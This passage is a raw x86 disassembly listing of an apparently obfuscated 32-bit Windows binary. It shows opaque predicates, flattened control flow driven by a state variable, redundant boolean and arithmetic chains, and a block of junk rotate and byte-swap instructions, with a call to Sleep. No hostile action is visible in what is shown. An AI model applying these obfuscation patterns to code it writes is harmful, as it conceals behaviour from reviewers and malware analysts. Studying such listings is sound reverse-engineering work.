or bl, bh
xor ah, bl
mov byte [ebp - 0xbee], ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0xbf1], bh
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 1
and bh, 0xff
and al, ah
mov byte [ebp - 0xbf4], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xbf3], al
mov al, byte [ebp - 0xbf4]
and cl, ah
or bh, al
mov al, byte [ebp - 0xbf3]
or al, cl
mov cl, byte [ebp - 0xbf2]
xor bh, al
mov al, byte [ebp - 0xbf1]
or al, bl
xor al, 0xff
or ah, 1
and al, ah
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or al, bh
or ah, bl
xor al, ah
mov byte [ebp - 0xbec], al
mov ah, 1
xor ah, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0xbed], al
mov bh, 1
xor bh, 1
mov bl, ah
and bl, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0xbf0], al
mov al, byte [ebp - 0xbed]
and al, 0xff
mov byte [ebp - 0xbef], al
mov al, byte [ebp - 0xbf0]
and cl, bh
or bl, al
mov al, byte [ebp - 0xbef]
or al, cl
mov cl, byte [ebp - 0xbee]
xor bl, al
mov al, byte [ebp - 0xbed]
or ah, al
mov al, byte [ebp - 0xbec]
xor ah, 0xff
or bh, 1
and ah, bh
or bl, ah
xor bl, 0xff
mov ah, al
xor ah, bl
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0xbeb], al
mov cl, dl
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
mov ah, dl
and ah, bl
or cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov bl, 1
xor bl, 1
and bl, 1
or ah, bl
xor dl, 0xff
mov bh, ah
xor bh, 0xff
mov bl, 1
xor bl, 1
or dl, bh
or bl, 1
xor dl, 0xff
and dl, bl
mov byte [ebp - 0xbea], dl
mov dl, al
xor dl, 0xff
and dl, 0
mov bh, 1
xor bh, 0
and al, bh
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or dl, al
mov al, byte [ebp - 0xbeb]
or bl, bh
xor dl, bl
mov bl, 1
xor bl, 1
mov bh, dl
xor bh, bl
mov bl, byte [ebp - 0xbea]
and bh, dl
xor al, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0xbe5], al
mov dl, cl
xor dl, 0xff
xor bl, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
mov byte [ebp - 0xbe9], al
and cl, ah
mov al, bl
and al, 0
mov byte [ebp - 0xbe7], al
mov al, byte [ebp - 0xbea]
and al, ah
mov byte [ebp - 0xbe8], al
mov al, byte [ebp - 0xbe9]
or al, cl
mov cl, byte [ebp - 0xbe8]
mov byte [ebp - 0xbe6], al
mov al, byte [ebp - 0xbe7]
or al, cl
mov cl, byte [ebp - 0xbe6]
xor cl, al
mov al, byte [ebp - 0xbe5]
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov byte [ebp - 0xbe2], cl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and bh, ah
mov byte [ebp - 0xbe4], bh
mov bh, bl
and bh, 0
and al, ah
mov byte [ebp - 0xbe3], al
mov al, byte [ebp - 0xbe4]
or cl, al
mov al, byte [ebp - 0xbe3]
or bh, al
mov al, byte [ebp - 0xbe2]
xor cl, bh
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
and dl, ah
xor cl, 0xff
and al, cl
or dl, al
mov cl, ch
xor cl, 0xff
mov al, dh
xor al, cl
and al, dh
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov ah, ch
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
mov dh, ch
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, dh
or al, cl
xor ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov dh, cl
xor dh, 0xff
mov al, ch
xor al, dh
and al, ch
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
and dh, 1
or ch, dh
xor ch, 0xff
mov bl, 1
xor bl, 0
mov dh, 1
xor dh, 1
or ch, bl
or dh, 1
xor ch, 0xff
and ch, dh
mov byte [ebp - 0xbdf], ch
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, ah
xor ch, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, ch
and dh, 0xff
and ah, bl
mov byte [ebp - 0xbe1], ah
mov ah, bh
and ah, 0xff
and al, bl
mov byte [ebp - 0xbe0], al
mov al, byte [ebp - 0xbe1]
or dh, al
mov al, byte [ebp - 0xbe0]
or ah, al
mov al, byte [ebp - 0xbdf]
xor dh, ah
mov ah, byte [ebp - 0xbde]
or ch, bh
xor ch, 0xff
or bl, 1
and ch, bl
or dh, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov cl, dh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov al, ch
xor al, 0xff
and al, 0
and ch, bl
or cl, dh
or al, ch
xor cl, al
mov al, 1
xor al, 1
mov dh, ah
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov ch, 1
xor ch, 1
mov bh, ah
and bh, ch
xor ah, 0xff
and ah, 1
or bh, ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xbdd], ch
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
and ch, 0
and al, ah
mov bl, dh
and bl, 0
and bh, ah
or ch, al
mov al, byte [ebp - 0xbdd]
or bl, bh
xor ch, bl
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or ch, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bl, ch
or cl, ah
xor bl, cl
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
or bh, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xbdc], dh
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
and dh, 0
and al, cl
mov ch, ah
and ch, 0
and bl, cl
or dh, al
mov al, byte [ebp - 0xbdc]
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0xbdb], cl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
mov al, ah
and al, 0
mov bl, ch
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0xbdb]
or bl, bh
xor cl, bl
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44ad6f52
mov ecx, 0x111637d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [ebp - 0x12c]
mov dword [eax], 2
mov dword [ebp - 0x1a8], 0xdc3fac6c
jmp 0x43690c
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x180]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov esi, dword [ebp - 0x130]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
xor esi, esi
sub esi, 0xc3f33ad7
add ecx, esi
add ecx, 0x1770726f
sub ecx, 0x7a1f219b
sub ecx, 0x1770726f
xor esi, esi
sub esi, ecx
xor ecx, ecx
sub ecx, 0xc3f33ad7
add esi, ecx
xor ecx, ecx
sub ecx, esi
xor esi, esi
sub esi, ecx
xor ecx, ecx
sub ecx, 0x2e4de994
add esi, ecx
xor ecx, ecx
sub ecx, esi
sub ecx, 0x180ac128
add ecx, eax
add ecx, 0x180ac128
xor eax, eax
sub eax, 0x2e4de994
add ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0
xor esi, esi
sub esi, 0x7a1f219b
add esi, 0
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, esi
add ecx, eax
xor eax, eax
sub eax, ecx
xor esi, esi
sub esi, eax
add esi, 0
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x34]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.004040e0
add esp, 0x10
mov eax, dword [0x511348]
mov ecx, dword [0x511344]
xor edx, edx
sub edx, 0x56bcf50b
add edx, 0
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x2329ec64
add edx, 0x56bcf50b
add edx, 0x2329ec64
xor esi, esi
sub esi, 0x2bb73b49
sub esi, edx
add esi, 0x2bb73b49
mov edx, eax
add edx, 0x5ce0949e
sub edx, esi
sub edx, 0x5ce0949e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0xd2a], al
cmp ecx, 0xa
setl dh
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, dh
and al, ah
or dl, al
mov al, 1
xor al, 0
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
or al, ah
mov bl, cl
and bl, dl
xor cl, dl
or bl, cl
mov cl, 1
xor cl, 0
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
mov bh, dl
and bh, 0
mov byte [ebp - 0xd2c], bh
mov bh, ch
and bh, 0xff
and al, dl
mov byte [ebp - 0xd2b], al
mov al, byte [ebp - 0xd2c]
or ah, al
mov al, byte [ebp - 0xd2b]
or bh, al
mov al, byte [ebp - 0xd2a]
xor ah, bh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov dl, bl
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or dl, bl
or cl, ch
xor dl, cl
xor dl, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or dl, ah
or cl, 0
xor dl, 0xff
and dl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov bl, al
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, bl
or cl, ch
xor ah, cl
mov bh, dh
xor bh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 1
or bh, ah
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 1
mov ah, al
and ah, 0xff
and bh, cl
mov dh, ch
and dh, 0xff
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x277fe168
mov ecx, 0xf4165a5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
rcl esi, 0x81
bswap esi
inc eax
bswap ebx
rcr esi, 0x77
bswap eax
inc eax
rcl esi, 0x7f
rcl esi, 0xb0
neg eax
inc eax
rol esi, 0x5f
rol esi, 0x3c
rcr eax, 0xcf
dec eax
neg esi
bswap edx
rol ebx, 0x71
add edx, 0x2c
bswap esi
imul edx
sub edx, 0xfd
neg edi
inc ebx
dec eax
rol eax, 0x9a
rol ebx, 0xca
dec esi
add esi, 0x5e
mov esi, 0x9f
and esi, 0x21
bswap ebx
sub esi, 0x28
mov eax, 0xfd
neg eax
inc edx
rcr edi, 0x8d
bswap edx
inc esi
sub eax, 0x55
rcl edi, 0x9c
sub ebx, 0x19
imul edx
add eax, 0x55
imul eax
bswap edi
dec ebx
and ebx, 0x90
inc edx
imul eax
neg ebx
inc ebx
dec eax
neg ebx
imul ebx
ror eax, 0x19
dec eax
sub ebx, 0x36
rol ebx, 0xa0
bswap eax
imul esi
neg ebx
and edx, 0xbd
rcr ebx, 0xef
inc ebx
bswap edi
bswap edi
rcr ebx, 0xe4
and esi, 0xe0
rcl edi, 0xee
sbb edi, 0xd9
dec eax
bswap eax
bswap eax
imul edx
and eax, 0xc1
mov edi, 0x32
rol ebx, 4
and edi, 0x9d
dec esi
rcl esi, 8
imul eax
inc eax
mov eax, 0xb3
neg esi
bswap edx
imul ebx
ror edx, 0x82
bswap esi
not eax
imul edx
rcr ebx, 0x9e
rcl eax, 0xe7
bswap edi
not eax
mov edx, 0xd
not edx
bswap eax
rcl esi, 0x8a
rol esi, 0xd2
and eax, 0x29
bswap eax
ror edx, 0x45
neg edx
dec esi
inc ebx
dec edi
add ebx, 0xee
add esi, 0xd
add eax, 0xa
sub esi, 0xb0
rcl edx, 0xe9
rol esi, 0x7b
bswap esi
mov esi, 0xe4
rcl esi, 0x7d
rcl esi, 0xd7
bswap edi
dec esi
rcr eax, 0x69
rcr ebx, 0xbc
add eax, 0xb7
imul edi
imul esi
not eax
neg ebx
rol edi, 0x99
ror edx, 0x3b
rcl eax, 0xb
bswap edx
dec ebx
rcl esi, 0xf5
imul ebx
imul eax
not ebx
bswap edx
not esi
ror eax, 0x93
not edi
neg eax
bswap edi
not edx
dec esi
inc esi
sbb esi, 0x1f
inc esi
bswap ebx
not edi
imul edi
dec edi
mov dword [ebp - 0x28], eax
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
xor edx, edx
sub edx, 0x347c7879
sub edx, 0xfe09a1ba
add edx, 0x347c7879
add edx, 0x1fa70cc6
sub edx, 1
sub edx, 0x1fa70cc6
sub edx, 0x8f1025c7
add edx, 0xfe09a1ba
add edx, 0x8f1025c7
mov esi, 0xac15126c
add esi, 0
sub esi, ecx
sub esi, 0xac15126c
xor edi, edi
sub edi, 0x5baa5e21
sub edi, edx
add edi, 0x5baa5e21
xor edx, edx
sub edx, edi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or ah, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
mov ch, bl
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov ah, bl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dh, bl
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and al, ah
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 1
mov ah, al
and ah, 0xff
and bh, cl
mov dh, ch
and dh, 0xff
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x91691015
mov ecx, 0x6bd44835
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1a8], 0x24784008
jmp 0x43690c
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
mov edx, ecx
sub edx, 0xa469d230
sub edx, 0xcbd0076
add edx, 0xa469d230
xor esi, esi
sub esi, 0xd03abbd7
sub edx, esi
xor esi, esi
sub esi, 0xcbd0076
sub edx, esi
add edx, 0xb0afc19b
add edx, 0x6e6467a3
sub edx, 0xb0afc19b
sub edx, 0x6e8844fa
sub edx, 1
add edx, 0x6e8844fa
sub edx, 0x9ce83412
sub edx, 0x6e6467a3
add edx, 0x9ce83412
xor esi, esi
sub esi, 0x5664aaf2
sub esi, 0xd03abbd7
add esi, 0x5664aaf2
sub edx, 0x107c1ca0
add edx, esi
add edx, 0x107c1ca0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl dh
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
xor dl, 0xff
mov cl, ch
xor cl, dl
and cl, ch
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xd94], al
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
mov bl, cl
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, bl
or al, cl
xor ah, al
mov cl, dh
xor cl, 0xff
mov bl, ah
xor bl, 0xff
mov al, 1
xor al, 0
or cl, bl
or al, 0
xor cl, 0xff
and cl, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, 1
xor al, 1
mov bl, bh
xor bl, al
mov al, byte [ebp - 0xd94]
and bl, bh
mov byte [ebp - 0xd8f], bl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xd91], bl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xd90], bh
mov bh, 1
xor bh, 0
and bl, 0
and al, bh
mov byte [ebp - 0xd93], al
mov al, byte [ebp - 0xd90]
and al, 0
mov byte [ebp - 0xd92], al
mov al, byte [ebp - 0xd93]
and cl, bh
or bl, al
mov al, byte [ebp - 0xd92]
or al, cl
mov cl, byte [ebp - 0xd91]
xor bl, al
mov al, byte [ebp - 0xd90]
or cl, al
mov al, byte [ebp - 0xd8f]
xor cl, 0xff
or bh, 0
and cl, bh
or bl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, bl
xor ah, 0xff
and ah, 0
mov bh, 1
xor bh, 0
and bl, bh
mov al, cl
xor al, 0xff
and al, 0
and cl, bh
or ah, bl
or al, cl
xor ah, al
mov bl, 1
xor bl, 1
and bl, 0
mov cl, 1
xor cl, 0
mov bh, cl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, bh
or al, cl
xor bl, al
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, 1
xor al, 1
mov byte [ebp - 0xd8e], al
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0xd8d], al
mov al, byte [ebp - 0xd8e]
or al, cl
mov cl, byte [ebp - 0xd8d]
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xd85], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xd8b], al
mov cl, 1
xor cl, 0
mov byte [ebp - 0xd8c], cl
and cl, 1
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xd89], al
mov al, byte [ebp - 0xd8c]
and al, 1
mov byte [ebp - 0xd8a], al
mov al, byte [ebp - 0xd8b]
or al, cl
mov cl, byte [ebp - 0xd8a]
mov byte [ebp - 0xd88], al
mov al, byte [ebp - 0xd89]
or al, cl
mov cl, byte [ebp - 0xd88]
xor cl, al
xor cl, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0xd87], al
mov al, 1
xor al, 1
mov byte [ebp - 0xd86], al
mov al, byte [ebp - 0xd87]
or cl, al
mov al, byte [ebp - 0xd86]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0xd85]
mov byte [ebp - 0xd84], cl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, bl
and cl, al
xor bl, al
mov al, byte [ebp - 0xd84]
or cl, bl
mov bl, al
and bl, bh
xor al, bh
or bl, al
mov bh, cl
xor bh, 0xff
mov al, bl
and al, bh
xor bl, 0xff
and cl, bl
or al, cl
mov byte [ebp - 0xd57], al
mov al, dl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov bh, dl
and bh, bl
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or al, bh
or cl, bl
xor al, cl
mov byte [ebp - 0xd83], al
mov cl, 1
xor cl, 1
and cl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 1
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or cl, al
mov al, byte [ebp - 0xd83]
or bl, bh
xor cl, bl
mov bl, 1
xor bl, 0
and bl, 1
mov bh, 1
xor bh, 1
and bh, 0
or bl, bh
mov byte [ebp - 0xd7e], bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xd7f], bl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xd80], bh
mov bh, 1
xor bh, 1
and bl, 0xff
and al, bh
mov byte [ebp - 0xd82], al
mov al, byte [ebp - 0xd80]
and al, 0xff
mov byte [ebp - 0xd81], al
mov al, byte [ebp - 0xd82]
and cl, bh
or bl, al
mov al, byte [ebp - 0xd81]
or al, cl
mov cl, byte [ebp - 0xd80]
xor bl, al
mov al, byte [ebp - 0xd7f]
or al, cl
mov cl, byte [ebp - 0xd7e]
xor al, 0xff
or bh, 1
and al, bh
or bl, al
mov bh, 1
xor bh, 0
mov byte [ebp - 0xd7a], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0xd7b], al
mov al, 1
xor al, 1
mov byte [ebp - 0xd79], al
and bh, 0xff
and al, 0
mov byte [ebp - 0xd7d], al
mov al, byte [ebp - 0xd7b]
and al, 0xff
mov byte [ebp - 0xd7c], al
mov al, byte [ebp - 0xd79]
and cl, al
mov al, byte [ebp - 0xd7d]
or bh, al
mov al, byte [ebp - 0xd7c]
or al, cl
mov cl, byte [ebp - 0xd7b]
xor bh, al
mov al, byte [ebp - 0xd7a]
or al, cl
mov cl, byte [ebp - 0xd79]
xor al, 0xff
or cl, 1
and al, cl
or bh, al
mov cl, bl
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
and bl, al
mov al, byte [ebp - 0xd57]
or cl, bl
xor cl, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
or cl, bh
or bl, 0
xor cl, 0xff
and cl, bl
mov byte [ebp - 0xd63], cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and ch, bl
or cl, ch
mov ch, al
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and al, bl
or ch, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov byte [ebp - 0xd78], bh
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov byte [ebp - 0xd73], al
mov ch, 1
xor ch, 0
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, ch
and al, 0xff
mov byte [ebp - 0xd77], al
mov cl, bl
and cl, 0
mov al, bh
and al, 0xff
mov byte [ebp - 0xd75], al
mov al, byte [ebp - 0xd78]
and al, bl
mov byte [ebp - 0xd76], al
mov al, byte [ebp - 0xd77]
or al, cl
mov cl, byte [ebp - 0xd76]
mov byte [ebp - 0xd74], al
mov al, byte [ebp - 0xd75]
or al, cl
mov cl, byte [ebp - 0xd74]
xor cl, al
mov al, byte [ebp - 0xd73]
or ch, bh
xor ch, 0xff
or bl, 1
and ch, bl
or cl, ch
mov bl, al
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and al, ch
or bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or ch, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov cl, ch
and cl, bh
xor ch, bh
or cl, ch
mov bh, al
and bh, 0
xor al, 0
or bh, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
and cl, al
mov al, byte [ebp - 0xd57]
or ch, cl
xor ch, 0xff
xor bh, 0xff
mov cl, 1
xor cl, 1
or ch, bh
or cl, 1
xor ch, 0xff
and ch, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and dh, bh
or cl, dh
mov byte [ebp - 0xd70], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and al, dh
or cl, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
mov bh, al
and bh, 0
mov byte [ebp - 0xd72], bh
mov bh, 1
xor bh, 1
and bh, 0xff
and al, 1
mov byte [ebp - 0xd71], al
mov al, byte [ebp - 0xd72]
or dh, al
mov al, byte [ebp - 0xd71]
or bh, al
mov al, byte [ebp - 0xd70]
xor dh, bh
mov byte [ebp - 0xd6b], dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xd6c], dh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xd6d], bh
mov bh, 1
xor bh, 1
and dh, 0xff
and al, bh
mov byte [ebp - 0xd6f], al
mov al, byte [ebp - 0xd6d]
and al, 0xff
mov byte [ebp - 0xd6e], al
mov al, byte [ebp - 0xd6f]
and cl, bh
or dh, al
mov al, byte [ebp - 0xd6e]
or al, cl
mov cl, byte [ebp - 0xd6d]
xor dh, al
mov al, byte [ebp - 0xd6c]
or al, cl
mov cl, byte [ebp - 0xd6b]
xor al, 0xff
or bh, 1
and al, bh
or dh, al
mov bh, 1
xor bh, 0
mov byte [ebp - 0xd67], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0xd68], al
mov al, 1
xor al, 0
mov byte [ebp - 0xd66], al
and bh, 0
and al, 0
mov byte [ebp - 0xd6a], al
mov al, byte [ebp - 0xd68]
and al, 0
mov byte [ebp - 0xd69], al
mov al, byte [ebp - 0xd66]
and cl, al
mov al, byte [ebp - 0xd6a]
or bh, al
mov al, byte [ebp - 0xd69]
or al, cl
mov cl, byte [ebp - 0xd68]
xor bh, al
mov al, byte [ebp - 0xd67]
or al, cl
mov cl, byte [ebp - 0xd66]
xor al, 0xff
or cl, 0
and al, cl
or bh, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0xd65], dh
mov dh, 1
xor dh, 1
and dh, 0xff
and al, 1
mov byte [ebp - 0xd64], al
mov al, byte [ebp - 0xd65]
or cl, al
mov al, byte [ebp - 0xd64]
or dh, al
mov al, byte [ebp - 0xd63]
xor cl, dh
xor bh, 0xff
mov dh, cl
xor dh, bh
and dh, cl
mov bh, bl
xor bh, 0xff
mov cl, al
xor cl, bh
and cl, al
xor al, 0xff
mov bh, bl
and bh, al
mov al, byte [ebp - 0xd63]
xor bl, 0xff
and al, bl
or bh, al
mov byte [ebp - 0xd62], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0xd5d], al
xor bh, 0xff
mov bl, 1
xor bl, 0
and al, 0
mov byte [ebp - 0xd61], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0xd60], al
mov al, byte [ebp - 0xd62]
and al, bl
mov byte [ebp - 0xd5f], al
